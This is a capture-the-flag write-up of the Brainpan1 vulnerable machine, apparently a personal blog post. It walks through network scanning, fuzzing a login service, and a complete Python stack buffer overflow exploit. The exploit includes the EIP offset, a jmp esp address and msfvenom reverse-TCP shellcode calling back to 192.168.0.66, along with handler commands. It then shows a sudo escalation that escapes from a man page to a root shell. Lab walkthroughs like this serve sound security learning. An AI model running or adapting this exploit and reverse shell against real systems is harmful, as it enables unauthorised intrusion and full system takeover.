Brainpan1 writeup
Brainpan1 writeup

~ Walkthrough of Brainpan1 machine ~

Briefing

A new VM has been recommended to me by KKB. The challenge involves remote stack buffer overflow and some cool privilege escalation (or so I heard)! Let’s get right into it.


Scanning

As always, begin with netdiscover:

root@EdgeOfNight:~# netdiscover

 Currently scanning: 192.168.57.0/16   |   Screen View: Unique Hosts           
                                                                               
 12 Captured ARP Req/Rep packets, from 8 hosts.   Total size: 720              
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.0.1      [REDACTED]          4       240   Compal Broadband Networks, I
 192.168.0.87     [REDACTED]          1       60    Kaonmedia CO., LTD.         
 192.168.0.109    [REDACTED]          2       120   Intel Corporate             
 192.168.0.59     [REDACTED]          1       60    Apple, Inc.                 
 192.168.0.220    [REDACTED]          1       60    Apple, Inc.                 
 192.168.0.53     [REDACTED]          1       60    Hon Hai Precision Ind. Co.,L
 192.168.0.101    [REDACTED]          1       60    Hon Hai Precision Ind. Co.,L
 192.168.0.110    08:00:27:0d:7c:de   1       60    PCS Systemtechnik GmbH      

Get the IP, (192.168.0.110) and nmap it:

root@EdgeOfNight:~# nmap -T4 -sS -A 192.168.0.110 

Starting Nmap 7.50 ( https://nmap.org ) at 2017-11-09 12:19 CST
Nmap scan report for 192.168.0.110
Host is up (0.00018s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

MAC Address: 08:00:27:0D:7C:DE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms 192.168.0.110

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.15 seconds

Some of the nmap output was cut out for easier readability

Cool! There is a SimpleHTTPServer (p:10000) and something what appears like a custom made login application (p:9999).

Web server:

Login application on port 9999 upon netcat connection:

While I spend time fuzzing port 9999 (for previously mentioned BOF), I also run dirb to see what I can get from the website.

root@EdgeOfNight:~# dirb http://192.168.0.110:10000 

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Nov  9 12:36:06 2017
URL_BASE: http://192.168.0.110:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.110:10000/ ----
+ http://192.168.0.110:10000/bin (CODE:301|SIZE:0)                                                    
-----------------
END_TIME: Thu Nov  9 12:36:07 2017
DOWNLOADED: 1019 - FOUND: 1

An exe file should quite handy for debugging. I transfer it to my Windows VM, attach Immunity debugger and inspect it.

It is the same application that Brainpan1 is running! Thanks to this we can freely test the program locally without causing damage to the real target.


Exploitation

From previous fuzzing I discovered that character sequence of approximately 600 bytes crashes the program. A simple python script can be made for sending data.

#!/usr/bin/python
import socket
import time

TARGET = "192.168.0.228" #192.168.0.228 for my windows VM
PORT = 9999
PAYLOAD = "A" * 600


######################################

try:

	print "[+] Connecting to IP:", TARGET, "at PORT:", PORT
	time.sleep(1)
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((TARGET,PORT))

	print "[+] Sending the data ..."
	time.sleep(1)
	s.send(PAYLOAD) #Sends payload
	print "[+] DONE!!"

	print "[+] Trying to connect again..."
	time.sleep(1)
	s.connect((TARGET,PORT)) #See if the service is still up

except:
	print "[-] Error connecting - possible crash!!!"

Note: The IP change to .228 is due to tests being conducted on a new Windows VM

We get a crash at 0x41414141 (hex representation of A) as expected, because EIP got overwritten. To exactly find the instruction pointer a tool like metasploit pattern-create.rb can be used.

root@EdgeOfNight:~# cd /usr/share/metasploit-framework/tools/exploit/
root@EdgeOfNight:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9A
h0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao
0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

pattern-create.rb ensures the generated string has unique sequence of characters. After the crash, finding the EIP offset will be easy as no sequence is the same and instruction pointer will have an unique value. Relaunch the python script with the long pattern and see what happens.

Crash at an offset of 0x35724134. The gained value can be afterwards put into next tool - pattern-offset.rb.

root@EdgeOfNight:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 0x35724134
[*] Exact match at offset 524

The meaning is pretty self-explanatory. pattern_offset takes a hex string query as a parameter which is then used to find exact amount of bytes before overwriting EIP. Armed with this knowledge we can go ahead and make a working exploit.

All the addresses end with a null byte which makes it hard / impossible to jump to. By supplying such address we would terminate our input on the last byte, which would lead to unwanted behaviour (possible crashes). Luckily if you notice in picture 5 the stack pointer (ESP) points to the beginning of our overflowed buffer after overwritten EIP.

That means that if we overwrite the return address with jmp esp instruction we can hop right into our shellcode! Use CTRL-F, search for the instruction and copy the address.

You can use any shellcode but I’ll simply stick to one generated with msfvenom. Here is the remote exploit:

#!/usr/bin/python

import socket
import struct
import time

TARGET = "192.168.0.228" #.110 for brainpan 
PORT = 9999

PADDING = "A" * 524
NOP = "\x90" * 64
EIP = struct.pack("I", 0x311712F3) #Location of jmp esp which points to NOPS
				   #struct.pack() converts 0x311712F3 into little-endian format

#msfvenom -p windows/shell/reverse_tcp LHOST=192.168.0.66 LPORT=3333 -f py -b '\x00' 
#CATCH WITH exploit/multi/handler

SC  = "\xda\xcc\xbb\x3c\xcc\x27\xd6\xd9\x74\x24\xf4\x5e\x31"
SC += "\xc9\xb1\x54\x83\xc6\x04\x31\x5e\x14\x03\x5e\x28\x2e"
SC += "\xd2\x2a\xb8\x2c\x1d\xd3\x38\x51\x97\x36\x09\x51\xc3"
SC += "\x33\x39\x61\x87\x16\xb5\x0a\xc5\x82\x4e\x7e\xc2\xa5"
SC += "\xe7\x35\x34\x8b\xf8\x66\x04\x8a\x7a\x75\x59\x6c\x43"
SC += "\xb6\xac\x6d\x84\xab\x5d\x3f\x5d\xa7\xf0\xd0\xea\xfd"
SC += "\xc8\x5b\xa0\x10\x49\xbf\x70\x12\x78\x6e\x0b\x4d\x5a"
SC += "\x90\xd8\xe5\xd3\x8a\x3d\xc3\xaa\x21\xf5\xbf\x2c\xe0"
SC += "\xc4\x40\x82\xcd\xe9\xb2\xda\x0a\xcd\x2c\xa9\x62\x2e"
SC += "\xd0\xaa\xb0\x4d\x0e\x3e\x23\xf5\xc5\x98\x8f\x04\x09"
SC += "\x7e\x5b\x0a\xe6\xf4\x03\x0e\xf9\xd9\x3f\x2a\x72\xdc"
SC += "\xef\xbb\xc0\xfb\x2b\xe0\x93\x62\x6d\x4c\x75\x9a\x6d"
SC += "\x2f\x2a\x3e\xe5\xdd\x3f\x33\xa4\x89\x8c\x7e\x57\x49"
SC += "\x9b\x09\x24\x7b\x04\xa2\xa2\x37\xcd\x6c\x34\x38\xe4"
SC += "\xc9\xaa\xc7\x07\x2a\xe2\x03\x53\x7a\x9c\xa2\xdc\x11"
SC += "\x5c\x4b\x09\x8f\x59\xdb\x72\xf8\x62\x59\x1b\xfb\x62"
SC += "\x50\xde\x72\x84\x3a\xb0\xd4\x19\xfa\x60\x95\xc9\x92"
SC += "\x6a\x1a\x35\x82\x94\xf0\x5e\x28\x7b\xad\x37\xc4\xe2"
SC += "\xf4\xcc\x75\xea\x22\xa9\xb5\x60\xc7\x4d\x7b\x81\xa2"
SC += "\x5d\x6b\xf0\x4c\x9e\x6b\x99\x4c\xf4\x6f\x0b\x1a\x60"
SC += "\x6d\x6a\x6c\x2f\x8e\x59\xee\x28\x70\x1c\xc7\x43\x46"
SC += "\x8a\x67\x3c\xa6\x5a\x68\xbc\xf0\x30\x68\xd4\xa4\x60"
SC += "\x3b\xc1\xab\xbc\x2f\x5a\x39\x3f\x06\x0e\xea\x57\xa4"
SC += "\x69\xdc\xf7\x57\x5c\x5f\xff\xa8\x22\x7d\x58\xc1\xdc"
SC += "\xc1\x58\x11\xb7\xc1\x08\x79\x4c\xee\xa7\x49\xad\x25"
SC += "\xe0\xc1\x24\xab\x42\x73\x38\xe6\x03\x2d\x39\x04\x98"
SC += "\x38\xb4\xeb\x1f\x45\x36\xd0\xc9\x7c\x4c\x11\xca\x3a"
SC += "\x5f\x28\x6f\x6a\xca\x52\x23\x6c\xdf"

PAYLOAD = PADDING + EIP + NOP + SC

######################################

try:

	print "[+] Connecting to IP:", TARGET, "at PORT:", PORT
	time.sleep(1)
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((TARGET,PORT))

	#Initialize connection
	data = s.recv(1024) 
	print "[+] Connected!"	
	print ""
	print ""
	time.sleep(0.5)
	print data #Debug

	print "[+] Sending the payload ..."
	time.sleep(1)
	s.send(PAYLOAD) #Sends payload
	print "[+] DONE! A reverse shell is on its way :) !"

except:
	print "[-] Error connecting!!!"
 

If done correctly the reverse shell should arrive to the handler you set up via msfconsole -q -x "use exploit/multi/handler;set payload windows/shell/reverse_tcp; set LHOST eth0; set LPORT 3333; run".

TIP: msfconsole -x can be used to chain many metasploit commands into one!

Concept of BOFs is kind of complicated and describing it within one blogpost is impossible. I highly recommend binary hacking series by LiveOverflow to begin learning if anything is unclear.

Now that we have the exploit figured out, replace the windows shellcode with linux one (msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.66 LPORT=3333 -f py -b '\x00') and re-run it on original Brainpan machine (192.168.0.110).

TIP: python -c 'import pty; pty.spawn("/bin/sh")' = A TTY shell for easier console interaction

Reverse shell has been achieved ;) !


Privilege escalation

Just do sudo -l:

$ sudo -l

Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

anansi_util allows running manual and sudo which is a dangerous combination because it can be easily chained together for easy root escalation. Open up a random man page (man whoami in my case) and execute a shell by typing !/bin/sh.

sudo /home/anansi/bin/anansi_util manual whoami
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/sh
# id && whoami
id && whoami
uid=0(root) gid=0(root) groups=0(root)
root

Rooooted!


Conclusion

What a great experience! I would highly recommend the machine to anyone learning binary exploitation or anyone looking to improve their basic socket programming. Props to KKB for recommending me this box and THANKS to Techorganic for making such a wonderful challenge. Feel free to reach out to me via comments / contact page if you have any questions.

~V3